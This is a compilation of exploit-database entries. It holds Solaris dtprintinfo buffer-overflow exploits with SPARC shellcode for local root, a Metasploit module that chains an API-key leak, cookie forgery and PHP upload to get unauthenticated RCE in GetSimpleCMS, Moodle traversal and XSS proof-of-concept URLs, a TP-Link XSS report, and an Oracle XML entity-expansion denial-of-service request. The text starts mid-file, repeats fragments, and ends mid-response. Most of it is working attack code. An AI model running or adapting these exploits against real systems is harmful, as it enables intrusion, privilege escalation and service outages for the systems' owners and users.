sysinfo(SI_RELEASE, release, sizeof(release) - 1);
/* fill the envp, keeping padding */
add_env(sc);
ksh_pos = env_pos;
add_env("KSH=0x42424242");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the offset to the shellcode */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = 5 + env_len + plat_len + prog_len;
/* calculate the shellcode address */
sc_addr = sb - offset;
/* overwrite the KSH env var with the right address */
sprintf(ksh_var, "KSH=0x%x", sc_addr);
env[ksh_pos] = ksh_var;
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer (little endian)
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}
# Exploit Title: Moodle filter_jmol multiple vulnerabilities (Directory Traversal and XSS)
# Date: 20 May 2019
# Exploit Author: Dionach Ltd
# Exploit Author Homepage: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities
# Software Link: https://moodle.org/plugins/filter_jmol
# Version: <=6.1
# Tested on: Debian
The Jmol/JSmol plugin for the Moodle Learning Management System displays chemical structures in Moodle using Java and JavaScript. The plugin implements a PHP server-side proxy in order to load third party resources bypassing client-side security restrictions. This PHP proxy script calls the function file_get_contents() on unvalidated user input.
This makes Moodle instances with this plugin installed vulnerable to directory traversal and server-side request forgery in the default PHP setup, and if PHP's "expect" wrapper is enabled, also to remote code execution. Other parameters in the plugin are also vulnerable to reflected cross-site scripting. Note that authentication is not required to exploit these vulnerabilities.
The JSmol Moodle plugin was forked from the JSmol project, where the directory traversal and server-side request forgery vulnerability was partially fixed in 2015.
* Plugin: https://moodle.org/plugins/pluginversions.php?plugin=filter_jmol
* Note on functionality: https://github.com/geoffrowland/moodle-filter_jmol/blob/master/js/jsmol/php/jsmol.php#L14
* Vulnerability announcement: https://sourceforge.net/p/jmol/mailman/message/33627649/
* Partial fix: https://sourceforge.net/p/jsmol/code/1004/
This issue is tracked at the following URLs:
https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities
https://tracker.moodle.org/browse/CONTRIB-7516
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C
== Proof of Concept ==
1. Directory traversal
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd
2. Reflected cross-site scripting
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html
http://<moodle>/filter/jmol/iframe.php?_USE=%22};alert(%27XSS%27);//
3. Malware distribution
http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&encoding=base64&data=UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D&filename=empty.zip
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
},
'License' => MSF_LICENSE,
'Author' =>
[
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
],
'References' =>
[
['CVE', '2019-11231'],
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['GetSimpleCMS 3.3.15 and before', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
])
end
def gscms_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', '/')
)
return unless res && res.code == 200
generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)
fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
vers = generator.value.split('?v=').last.gsub(".","")
return unless vers
@version = vers
end
def get_salt
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
@salt = res.get_xml_document.at('apikey').text
end
def get_user
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
end
def gen_cookie(version,salt,username)
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
def get_nonce(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_get' => {
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
}
})
fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
end
def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
end
version = gscms_version
salt = get_salt
username = get_user
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)
fname = "#{rand_text_alpha(6..16)}.php"
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
end
def check
version = gscms_version
unless version
return CheckCode::Safe
end
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
return CheckCode::Detected
end
CheckCode::Vulnerable
end
def vulnerable
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
uri = normalize_uri(target_uri.path, 'data', 'users', '/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
return true
end
def upload_file(cookie,nonce,fname,content)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_post' => {
'submitsave' => 2,
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end
/*
* raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC
* Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able
* to bypass the non-executable stack protection (noexec_user_stack=1 in
* /etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
*
* Usage:
* $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_sparc2 192.168.1.1:0
* [...]
* # id
* uid=0(root) gid=10(staff)
* #
*
* Tested on:
* SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
* SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
* [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC"
#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem();
/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* get ret and fake frame addresses from environment */
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with return and fake frame addresses */
for (i = 0; i < BUFSIZE; i += 4) {
/* apparently, we don't need to bruteforce */
set_val(buf, i, ret - 4);
set_val(buf, i += 4, ff_addr);
}
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
add_env(sc);
ret_pos = env_pos;
add_env("RET=0x41414141");
fpt_pos = env_pos;
add_env("FPT=0x42424242");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* overwrite RET and FPT env vars with the right addresses */
sprintf(ret_var, "RET=0x%x", ret);
env[ret_pos] = ret_var;
sprintf(fpt_var, "FPT=0x%x", ff_addr);
env[fpt_pos] = fpt_var;
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
/*
* raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC
* Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* Usage:
* $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_sparc 192.168.1.1:0
* [...]
* # id
* uid=0(root) gid=10(staff)
* #
*
* Tested on:
* SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
* SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
* [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC"
#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var[16];
char platform[256], release[256], display[256];
int i, offset, ret, var_pos;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* get ret address from environment */
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with return address */
for (i = 0; i < BUFSIZE; i += 4)
set_val(buf, i, ret - 8);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* fill the envp, keeping padding */
add_env(sc);
var_pos = env_pos;
add_env("RET=0x41414141");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ret = sb - offset + arg_len;
/* overwrite the RET env var with the right ret address */
sprintf(var, "RET=0x%x", ret);
env[var_pos] = var;
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
# Exploit Title: TL-WR840N v5 00000005
# Date: 5/10/2019
# Exploit Author: purnendu ghosh
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Category: Hardware
# Firmware Version:0.9.1 3.16 v0001.0 Build 171211 Rel.58800n
# Hardware Version:TL-WR840N v5 00000005
# Tested on: Windows 10
# CVE :CVE-2019-12195.
# Proof Of Concept:
TP-Link TL-WR840N v5 00000005 devices allow XSS via the network name. The attacker must
log into the router by breaking the password and going to the admin
login page by THC-HYDRA to get the network name. With an XSS payload,
the network name changed automatically and the internet connection was
disconnected. All the users become disconnected from
the internet.
------------------------------------------
[Additional Information]
To ensure your network to be safe from Renaming and internet disconnection.
------------------------------------------
[Vulnerability Type]
Cross Site Scripting (XSS)
------------------------------------------
[Vendor of Product]
tp-link
------------------------------------------
[Affected Product Code Base]
router - TL-WR840N v5 00000005
------------------------------------------
[Affected Component]
Wi-Fi network configured through the router
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Denial of Service]
true
------------------------------------------
[Impact Information Disclosure]
true
------------------------------------------
[Attack Vectors]
Logged in to the router by breaking the password and goes to the admin
login page by THC-HYDRA and got the network name. Using Burp Suite
professional version 1.7.32 captured the network name and selected XSS
payload against the name and started attacking .as a result the
network name changed automatically and internet connection was
disconnected in the network. All the users become disconnected from
internet.
------------------------------------------
[Discoverer]
purnendu ghosh
[Reference]
https://www.tp-link.com/us/security
# Exploit Title: Oracle CTI Web Service XML Entity Exp.
# Exploit Author: omurugur
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr
URL : http://server/EBS_ASSET_HISTORY_OPERATIONS
As can be seen in the following request / response example, the xml entity expansion attack can be performed, and this attack can send requests that exceed the existing memory and processor capacities, causing memory bottlenecks and preventing the service from running.
10kb more request is returned.
Examples Request;
POST /EBS_ASSET_HISTORY_OPERATIONS HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "getCampaignHistory"
Content-Length: 1696
Host: ****
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close
<!DOCTYPE foo [<!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha; &ha; &ha; &ha; &ha; &ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2;"> <!ENTITY ha4 "&ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3;"> <!ENTITY ha5 "&ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4;"> <!ENTITY ha6 "&ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5;"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ebs="http://server/om/EBS_ASSET_HISTORY_OPERATIONS" xmlns:ave="http://server/AveaFrameWo&ha6;rk">
<soapenv:Header/>
<soapenv:Body>
<ebs:EbsRetrieveWebChatHistoryRequest>
<ave:RequestHeader>
<ave:RequestId>
<ave:GUID>152069827209115206982720</ave:GUID>
</ave:RequestId>
<ave:CallingSystem>SIEBEL</ave:CallingSystem>
<ave:BusinessProcessId>retrieveWebChatHistory</ave:BusinessProcessId>
</ave:RequestHeader>
<ebs:RequestBody>
<ebs:msisdn>5051234567</ebs:msisdn>
</ebs:RequestBody>
</ebs:EbsRetrieveWebChatHistoryRequest>
</soapenv:Body>
</soapenv:Envelope>
Example Response1;
HTTP/1.1 500 Internal Server Error
Date: Tue, 17 Apr 2018 06:33:07 GMT
Content-Type: text/xml; charset=utf-8
X-ORACLE-DMS-ECID: c55d8ba7-c405-4117-8a70-8b37f745e8f0-0000b9df
X-ORACLE-DMS-RID: 0
Connection: close
Content-Length: 328676
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header xmlns:ave="http://server/AveaFrameWoHa ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha
